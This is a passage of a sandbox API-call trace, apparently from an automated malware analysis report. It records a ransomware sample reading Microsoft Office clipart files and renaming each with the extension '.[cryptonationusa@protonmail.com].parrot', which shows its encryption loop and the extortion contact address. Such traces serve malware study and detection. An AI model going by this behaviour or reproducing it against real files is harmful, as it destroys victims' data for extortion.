nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.526] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.526] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3896, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3896, lpOverlapped=0x0) returned 1 [0128.527] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.530] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.530] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.532] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.532] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4780, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4780, lpOverlapped=0x0) returned 1 [0128.533] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.537] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.538] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.539] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.539] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b32, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b32, lpOverlapped=0x0) returned 1 [0128.540] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.545] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.545] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.546] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.546] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30e8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30e8, lpOverlapped=0x0) returned 1 [0128.547] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.593] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.593] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.594] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.594] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x265a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x265a, lpOverlapped=0x0) returned 1 [0128.595] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.599] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.599] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.600] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.601] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1eb6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0128.601] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.604] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.604] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.606] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.606] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3f4, lpOverlapped=0x0) returned 1 [0128.606] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.610] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.610] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.611] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.611] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x370, lpOverlapped=0x0) returned 1 [0128.611] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.614] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.614] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.616] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.616] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27a2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x27a2, lpOverlapped=0x0) returned 1 [0128.617] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.619] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.620] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.621] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.621] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b8, lpOverlapped=0x0) returned 1 [0128.621] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.625] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.625] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.627] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.627] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6a0, lpOverlapped=0x0) returned 1 [0128.627] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.630] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.630] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.633] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.633] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5ec, lpOverlapped=0x0) returned 1 [0128.633] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.636] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.636] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.638] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.638] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf92, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf92, lpOverlapped=0x0) returned 1 [0128.638] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.642] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.642] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.643] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.643] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f86, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f86, lpOverlapped=0x0) returned 1 [0128.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.647] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.647] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.649] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.649] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2458, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2458, lpOverlapped=0x0) returned 1 [0128.650] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.653] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.653] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.654] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.655] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfb8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfb8, lpOverlapped=0x0) returned 1 [0128.655] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.658] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.658] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.659] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.659] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x386c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x386c, lpOverlapped=0x0) returned 1 [0128.660] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.663] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.663] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.664] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.664] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x600, lpOverlapped=0x0) returned 1 [0128.665] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.665] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.667] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.667] 